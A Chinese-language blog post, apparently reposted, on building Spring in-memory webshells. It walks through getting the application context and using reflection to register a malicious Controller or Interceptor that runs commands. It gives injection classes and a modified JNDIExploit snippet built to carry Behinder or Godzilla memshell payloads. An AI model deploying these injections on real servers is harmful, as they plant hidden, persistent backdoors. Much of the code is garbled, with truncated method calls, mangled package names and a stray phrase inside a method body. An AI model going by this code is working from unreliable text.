Java安全之Spring内存马
Java安全之Spring内存马
基础知识
Bean
bean 是 Spring 框架的⼀个核⼼概念,它是构成应⽤程序的主⼲,并且是由 Spring IoC 容器负责实例化、配置、组装和管理的对象。
通俗来讲:
bean 是对象
bean 被 IoC 容器管理
Spring 应⽤主要是由⼀个个的 bean 构成的
ApplicationContext
Spring 框架中,BeanFactory 接⼝是 Spring IoC容器的实际代表者。
从下⾯的接⼝继承关系图中可以看出,ApplicationContext 接⼝继承了 BeanFactory 接⼝,并通过继承其他接⼝进⼀步扩展了基本容器的功能。
因此,t.ApplicationContext接⼝也代表了 IoC容器,它负责实例化、定位、配置应⽤程序中的对象(bean)及建⽴这些对象间(beans)的依赖。
IoC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以⽤xml、Java注解或Java代码来表⽰。
实现思路:
使⽤纯 java 代码来获得当前代码运⾏时的上下⽂环境(Conetxt);
使⽤纯 java 代码在上下⽂环境中⼿动注册⼀个 controller;
controller中RequestMapping的⽅法中写⼊ Webshell 逻辑,达到和 Webshell 的 URL 进⾏交互回显的效果;
ContextLoaderListener 与 DispatcherServlet
主要看⼀下ContextLoaderListener,DispatcherServlet在之前分析Thymeleaf的SSTI的时候就做了相关的分析
下⾯是⼀个典型 Spring 应⽤的 l 配置⽰例:
<web-app xmlns:xsi="<a href=" http:="" ="" 2001="" XMLSchema-instance"="" rel="nofollow">/2001/XMLSchema-instance"
xmlns="java.sun/xml/ns/javaee"
xsi:schemaLocation="java.sun/xml/ns/javaee java.sun/xml/ns/javaee/web-app_2_5.xsd"
version="2.5">
<display-name>HelloSpringMVC</display-name>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/l</param-value>
</context-param>
<listener>
<listener-class>org.t.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/l</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
关于 Root Context 和 Child Context 的重要概念:
Spring 应⽤中可以同时有多个 Context,其中只有⼀个 Root Context,剩下的全是 Child Context
所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context⽆法访问Child Context中定义的 bean
所有的Context在创建后,都会被作为⼀个属性添加到了 ServletContext中
ContextLoaderListener
ContextLoaderListener 主要被⽤来初始化全局唯⼀的Root Context,即 Root WebApplicationContext。这个 Root WebApplicationContext 会和其他 Child Context 实例共享它的 IoC 容器,供其他
Child Context 获取并使⽤容器中的 bean。
回到 l 中,其相关配置如下:
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/l</param-value>
</context-param>
<listener>
<listener-class>org.t.ContextLoaderListener</listener-class>
</listener>
依照规范,当没有显式配置 ContextLoaderListener 的 contextConfigLocation 时,程序会⾃动寻 /l,作为配置⽂件,所以其实上⾯的 <context-param> 标签对其实完
全可以去掉。
DispatcherServlet 初始化完成后,会创建⼀个普通的 Child Context 实例。
每个具体的 DispatcherServlet 创建的是⼀个 Child Context,代表⼀个独⽴的 IoC 容器;⽽ ContextLoaderListener 所创建的是⼀个 Root Context,代表全局唯⼀的⼀个公共 IoC 容器。
果要访问和操作 bean ,⼀般要获得当前代码执⾏环境的IoC 容器代表者 ApplicationContext。
Spring Controller内存马实现
获取Context
所有的Context在创建后,都会被作为⼀个属性添加到了 ServletContext中
LandGrey师傅⽂中给出了4种获取当前上下⽂的思路
第⼀种:getCurrentWebApplicationContext()
// getCurrentWebApplicationContext⽅法获得的是⼀个XmlWebApplicationContext实例类型的Root WebApplicationContext。
WebApplicationContext context = CurrentWebApplicationContext();
第⼆种:WebApplicationContextUtils
// 通过这种⽅法获得的也是⼀个 Root WebApplicationContext 。此⽅法看起来⽐较⿇烦
WebApplicationContext context = WebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequ 第三种:RequestContextUtils
// 通过 ServletRequest 类的实例来获得 Child WebApplicationContext
WebApplicationContext context = WebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
第四种:getAttribute
// 这种⽅式与前⼏种的思路就不太⼀样了,因为所有的Context在创建后,都会被作为⼀个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
先来看第⼀种获取⽅式,这⾥Spring环境为5.2.3.RELEASE,该版本下的并没有getCurrentWebApplicationContext⽅法,的是findWebApplicationContext⽅法作为替代。
源码如下,可以看出WebApplicationContext是DispatcherServlet类的属性WEB_APPLICATION_CONTEXT_ATTRIBUTE
@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request, @Nullable ServletContext servletContext) {
WebApplicationContext webApplicationContext = (Attribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
if (webApplicationContext == null) {
if (servletContext != null) {
webApplicationContext = WebApplicationContext(servletContext);
}
if (webApplicationContext == null) {
webApplicationContext = CurrentWebApplicationContext();
}
}
return webApplicationContext;
}
@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request) {
return findWebApplicationContext(request, ServletContext());
}
那么跟进DispatcherServlet类中,WebApplicationContext是在doService⽅法中进⾏初始化的,doService⽅法则是初始化⼀些全局属性之后进⼊doDispatch⽅法处理Request和Response
注册Controller
Spring 2.5 开始到 Spring 3.1 之前⼀般使⽤
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
映射器;
Spring 3.1 开始及以后⼀般开始使⽤新的
org.springframework.web.hod.annotation.RequestMappingHandlerMapping
映射器来⽀持@Contoller和@RequestMapping注解。
调试分析
代码如下,使⽤的su18师傅的思路,通过获取RequestMappingHandlerMapping⽗类的MappingRegistry属性并调⽤register⽅法来注册恶意的Controller
@Controller
public class AddControllerMemshell {
@RequestMapping(value = "/addcontroller")
public void addController(HttpServletRequest request, HttpServletResponse response) throws Exception{
final String controllerPath = "/zh1z3ven";
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
RequestMappingHandlerMapping mapping = Bean(RequestMappingHandlerMapping.class);
Field f = Class().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);
Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
Method[] ms = c.getDeclaredMethods();
Field field = c.getDeclaredField("urlLookup");
field.setAccessible(true);
Map<String, Object> urlLookup = (Map<String, Object>) (mappingRegistry);
for (String urlPath : urlLookup.keySet()) {
if (controllerPath.equals(urlPath)) {
return;
}
}
PatternsRequestCondition url = new PatternsRequestCondition(controllerPath);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
Class<?> myClass = Class(CONTROLLER_CMDMEMSHELL_CLASS_STRING);
for (Method method : ms) {
if ("register".Name())) {
method.setAccessible(true);
method.invoke(mappingRegistry, info, wInstance(), Methods()[0]);
}
}
}
}
在WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());代码处下断点跟进,⾸先是通过RequestContextHolder.currentRequestAttributes()⽅法拿到Request的封装类RequestFacade对象
强转为ServletRequestAttributes类型后调⽤getRequest⽅法拿到当前的Request对象
之后作为参数进⼊到findWebApplicationContext⽅法(Spring环境为5.2.3.RELEASE,该版本下并没有getCurrentWebApplicationContext⽅法,的是findWebApplicationContext⽅法作为替代)findWebApplicationContext⽅法源码如下,可以看出WebApplicationContext是DispatcherServlet类的属性WEB_APPLICATION_CONTEXT_ATTRIBUTE
@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request, @Nullable ServletContext servletContext) {
WebApplicationContext webApplicationContext = (Attribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
if (webApplicationContext == null) {
if (servletContext != null) {
webApplicationContext = WebApplicationContext(servletContext);
}
if (webApplicationContext == null) {
webApplicationContext = CurrentWebApplicationContext();
}
}
return webApplicationContext;
}
@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request) {
return findWebApplicationContext(request, ServletContext());
}
0x01 获取上下⽂
那么跟进DispatcherServlet类中,WebApplicationContext是在doService⽅法中进⾏初始化的,doService⽅法则是初始化⼀些全局属性之后进⼊doDispatch⽅法处理Request和Response
回头看findWebApplicationContext⽅法,获取到的是⼀个XmlWebApplicationContext实例类型的 Root WebApplicationContext
0x02 获取RequestMappingHandlerMapping
关于RequestMappingHandlerMapping
RequestMappingHandlerMapping的作⽤是在容器启动后将系统中所有控制器⽅法的请求条件(RequestMappingInfo)和控制器⽅法(HandlerMethod)的对应关系注册到RequestMappingHandlerMapping Bean的内存中,待接⼝请求系统的时候根据请求条件和内存中存储的系统接⼝信息⽐对,再执⾏对应的控制器⽅法。
直⽩⼀点讲就是处理Controller中在存在@RequestMapping注解的⽅法,当我们访问该注解中的值对应的url时,请求会进⼊相应的⽅法处理,⽽RequestMappingHandlerMapping类就是做的绑定
@RequestMapping注解与相应Method之间的映射
RequestMappingHandlerMapping mapping = Bean(RequestMappingHandlerMapping.class);
最终进⼊DefaultListableBeanFactory#getBean⽅法,之后通过⾛resolveBean逻辑获取并return RequestMappingHandlerMapping实例对象
主要逻辑还是在DefaultListableBeanFactory#resolveNamedBean⽅法中,先是传⼊Class()、beanName、args,⾛进getBean⽅法逻辑去获取 RequestMappingHandlerMapping的实例化对象
getBean⽅法中单步调试过程有些多,就不贴图了,调⽤栈如下:
doGetBean:250, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:227, AbstractBeanFactory (org.springframework.beans.factory.support)
resolveNamedBean:1155, DefaultListableBeanFactory (org.springframework.beans.factory.support)
resolveBean:416, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBean:349, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBean:342, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBean:1126, AbstractApplicationContext (t.support)
最终调⽤getSingleton⽅法获取到了 RequestMappingHandlerMapping 的实例对象
之后new 了⼀个 NamedBeanHolder 将RequestMappingHandlerMapping对象与beanName⼀起作为的属性保存在NamedBeanHolder中
后续通过该对象的getBeanInstance⽅法获取到RequestMappingHandlerMapping并返回出来,⾄此也就拿到了RequestMappingHandlerMapping对象
0x03 反射获取mappingRegistry属性
Field f = Class().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);
该属性为AbstractHandlerMethodMapping的内置类MappingRegistry对象,其中包含了regiester⽅法,
后续添加contorller也是通过此⽅法
0x04 MappingRegistry#register
这⾥⼤致为两步,⾸先是构造RequestMappingInfo,其中包含了我们注册时需要的⼀些属性,其次是反射调⽤MappingRegistry#register⽅法将恶意的Controller给注册进去
因为是通过MappingRegistry#register⽅法注册Controller,我们简单来看⼀下⼀个正常的Controller是如何在代码中绑定@RequestMapping注解和对应Method⽅法的。
因为整个过程调⽤栈⽐较长,如果想从初始化开始⼀直到register⽅法会贴很多图,感兴趣的师傅可以根据su18师傅以及去调试,相关调⽤栈如下
register:598, AbstractHandlerMethodMapping$MappingRegistry (org.springframework.web.servlet.handler)
registerHandlerMethod:318, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
registerHandlerMethod:350, RequestMappingHandlerMapping (org.springframework.web.hod.annotation)
registerHandlerMethod:67, RequestMappingHandlerMapping (org.springframework.web.hod.annotation)
lambda$detectHandlerMethods$1:288, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
accept:-1, 2019467502 (org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$$Lambda$99)
forEach:684, LinkedHashMap (java.util)
detectHandlerMethods:286, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
processCandidateBean:258, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
initHandlerMethods:217, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:205, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:171, RequestMappingHandlerMapping (org.springframework.web.hod.annotation)
invokeInitMethods:1855, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
initializeBean:1792, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
doCreateBean:595, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
createBean:517, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
lambda$doGetBean$0:323, AbstractBeanFactory (org.springframework.beans.factory.support)
getObject:-1, 924632896 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$56)
getSingleton:222, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support)
doGetBean:321, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:202, AbstractBeanFactory (org.springframework.beans.factory.support)
preInstantiateSingletons:879, DefaultListableBeanFactory (org.springframework.beans.factory.support)
finishBeanFactoryInitialization:878, AbstractApplicationContext (t.support)
refresh:550, AbstractApplicationContext (t.support)
configureAndRefreshWebApplicationContext:702, FrameworkServlet (org.springframework.web.servlet)
createWebApplicationContext:668, FrameworkServlet (org.springframework.web.servlet)
createWebApplicationContext:716, FrameworkServlet (org.springframework.web.servlet)
initWebApplicationContext:591, FrameworkServlet (org.springframework.web.servlet)
这⾥直接来看AbstractHandlerMethodMapping#processCandidateBean⽅法
先通过if中的isHandler⽅法判断当前的beanType是否含有@Controller或者@RquestMapping注解
跟⼊detectHandlerMethods,⾸先获取handler的class对象,之后在lambda表达式中通过调⽤createRequestMappingInfo⽅法根据注解创建RequestMappingInfo对象,之后调⽤forEach循环遍历前⾯筛选出的method并调⽤registerHandlerMethod⽅法创建method与mapping之间的映射
⽽registerHandlerMethod⽅法最终是调⽤的MappingRegistry#register⽅法
register⽅法源码如下
public void register(T mapping, Object handler, Method method) {
if (KotlinDetector.DeclaringClass()) && AbstractHandlerMethodMapping.KotlinDelegate.isSuspend(method)) {
throw new IllegalStateException("Unsupported suspending handler method detected: " + method);
} else {
try {
HandlerMethod handlerMethod = ateHandlerMethod(handler, method);
this.validateMethodMapping(handlerMethod, mapping);
this.mappingLookup.put(mapping, handlerMethod);
List<String> directUrls = DirectUrls(mapping);
Iterator var6 = directUrls.iterator();
while(var6.hasNext()) {
String url = (();
this.urlLookup.add(url, mapping);
}
String name = null;
if (NamingStrategy() != null) {
name = NamingStrategy().getName(handlerMethod, mapping);
this.addMappingName(name, handlerMethod);
}
CorsConfiguration corsConfig = AbstractHandlerMethodMapping.this.initCorsConfiguration(handler, method, mapping);
if (corsConfig != null) {
}
} finally {
}
}
}
register⽅法主要做的就是绑定method与mapping之间的映射
⽐如mappingLookup属性存储了mapping与handler method的映射关系
⽽在urlLookup中存储了url与mapping的映射关系
以及在registry中,存储了mapping与MappingRegistration对象的映射关系。
综上,在注册Controller时⼤致需要⽤到的具体的属性如下。
所以整个Spring Controller内存马注册的过程⼤致如下:
获取Context ==> 获取RequestMappingHandlerMapping ==> 获取MappingRegistry属性 ==> 构造Requ
estMappingInf(url,RequestMethodsRequestCondition ==> 调⽤MappingRegistry#register⽅法注册Controller
Spring Interceptor内存马实现
定义必须实现HandlerInterceptor接⼝,HandlerInterceptor接⼝中有三个⽅法:
preHandle⽅法是controller⽅法执⾏前拦截的⽅法
return true放⾏,执⾏下⼀个,如果没有,执⾏controller中的⽅法。
return false不放⾏,不会执⾏controller中的⽅法。
postHandle是controller⽅法执⾏后执⾏的⽅法,在JSP视图执⾏前。
可以使⽤request或者response跳转到指定的页⾯
如果指定了跳转的页⾯,那么controller⽅法跳转的页⾯将不会显⽰。
afterCompletion⽅法是在JSP执⾏后执⾏
request或者response不能再跳转页⾯了
就不再多说了,⽽关于的初始化与注册,其实在之前⾥就有涉及到⼀点,这次深⼊跟⼀下。
断点直接打在DispatcherServlet#doDispatch⽅法,F9跳⼊getHandler⽅法中
该⽅法对HandlerMapping进⾏遍历,当某个HandlerMapping调⽤getHandler的返回结果HandlerExecutionChain对象不为null时,则将此HandlerExecutionChain对象return出去。
往下跟⽽其中mapping对象调⽤的getHandler⽅法为AbstractHandlerMapping#getHandler⽅法,⽽HandlerExecutionChain镀锡是通过调⽤getHandlerExecutionChain获取到的
继续跟进getHandlerExecutionChain⽅法,最终通过HandlerExecutionChain#addInterceptor⽅法添加的Interceptor
观察下⾯addInterceptor源码可发现,⽬前只要构造好⼀个实现HandlerInterceptor恶意Interceptor即可。
public void addInterceptor(HandlerInterceptor interceptor) {
this.initInterceptorList().add(interceptor);
spring framework是什么框架的}
那后续就是观察Interceptor是在哪⾥固定调⽤的哪⼀个⽅法,就类似于Tomcat中Filter的doFileter⽅法⼀样。
其实重点就是获取ApplicationContext和requestMappingHandlerMapping的adaptedInterceptors属性,拿到adaptedInterceptors属性后调add⽅法把我们恶意的添加进去即可。
看⼀下⽹上多数⽂章⽤到的注⼊的代码,copy⾃su18师傅,add⽅法中那⼀串就是base64编码后的class⽂件的bytes数组,主要看思路。
⼤致是通过:
0x01: RequestContextUtils.findWebApplicationContext获取Context
0x02: Bean(RequestMappingHandlerMapping.class)获取RequestMappingHandlerMapping
0x03: 反射获取adaptedInterceptors属性
0x04: list.add(HandlerInterceptor)添加Interceptor
@Controller
public class AddInterceptorMemshell {
@RequestMapping(value = "/addinterceptor")
public void addInterceptor(HttpServletRequest request, HttpServletResponse response) throws Exception {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
RequestMappingHandlerMapping mapping = Bean(RequestMappingHandlerMapping.class);
Field f = Class().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
list.add((HandlerInterceptor) Class(Util.INTERCEPTOR_CMDMEMSHELL_CLASS_STRING).newInstance());
}
}
剩下的就不测试了,类似于Controller,下⾯看下改JNDIExploit时遇到的⼩问题
改造JNDIExploit
feihong师傅的JNDIExploit项⽬中获取ApplicationContext思路如下:
// 1. 反射 t.support.LiveBeansView 类 applicationContexts 属性
Field field = Class.forName("t.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰,所以 setAccessible true
field.setAccessible(true);
// 3. 获取⼀个 ApplicationContext 实例
WebApplicationContext context =(WebApplicationContext) (((null)).iterator().next();
⽽我在测试5.2.3的Spring时会抛出如下异常
[+] Add Dynamic Interceptor
java.util.NoSuchElementException
at java.util.Node(LinkedHashMap.java:721)
at java.util.(LinkedHashMap.java:742)
暂时没到原因,所以在改JNDIExploit时也是⽤的第⼀种获取Context的思路,重新拿反射写了⼀遍,⼤致代码如下(只测试了5.2.3版本Spring通过)
// 0x01 获取Context
Class RCHClass = Class.forName("org.t.request.RequestContextHolder");
ServletRequestAttributes servletRequestAttributes = (ServletRequestAttributes) DeclaredMethod("currentRequestAttributes").invoke(RCHClass, null);
// Method currentRequestAttributes = DeclaredMethod("currentRequestAttributes", null);
Class SRAClass = Class.forName("org.t.request.ServletRequestAttributes");
Method getRequestMethod = DeclaredMethod("getRequest");
Class RCUClass = Class.forName("org.springframework.web.servlet.support.RequestContextUtils");
Method findWebApplicationContextMethod = Method("findWebApplicationContext", HttpServletRequest.class);
WebApplicationContext context = (WebApplicationContext) findWebApplicationContextMethod.invoke(RCUClass, getRequestMethod.invoke(servletRequestAttributes)); // 0x02 通过 context 获取 RequestMappingHandlerMapping 对象
RequestMappingHandlerMapping mapping = Bean(RequestMappingHandlerMapping.class);
// 0x03 获取adaptedInterceptors并添加Interceptor
Field f = Class().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
list.add((HandlerInterceptor) wInstance());
那么剩下的就是将Behinder3或者Godzilla4的Memshell base64字段替换⼀下即可。
Behinder3 Memshell
Godzilla4 Memshell
Reference
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论